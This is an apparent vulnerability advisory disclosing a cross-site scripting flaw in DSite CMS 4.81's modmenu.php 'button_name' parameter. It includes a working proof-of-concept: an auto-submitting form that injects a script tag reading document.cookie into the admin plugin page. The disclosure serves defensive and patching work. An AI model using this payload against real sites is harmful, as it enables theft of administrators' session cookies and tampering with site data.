XSS vulnerability in DSite CMS

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22465
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_dsite_cms.html
Product: DSite CMS
Vendor: Media Programming Group ( http://www.dsite.ru ) 
Vulnerable Version: 4.81 and Probably Prior Versions
Vendor Notification: 01 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "modmenu.php" script to properly 
sanitize user-supplied input in "button_name" variable. Successful exploitation 
of this vulnerability could result in a compromise of the application, theft of 
cookie-based authentication credentials, disclosure or modification of 
sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form 
action="http://host/admin/plugin.php?menu_id=1&module=menu&plitem=modmenu.php"; 
method="post" name="main" >
<input type="hidden" name="module" value="menu" />
<input type="hidden" name="plitem" value="modmenu.php" />
<input type="hidden" name="menu_id" value="1" />
<input type="hidden" name="button_name" 
value='bn"><script>alert(document.cookie)</script>' />
<input type="hidden" name="new_make" value="YES" />
</form>
<script>
document.main.submit();
</script>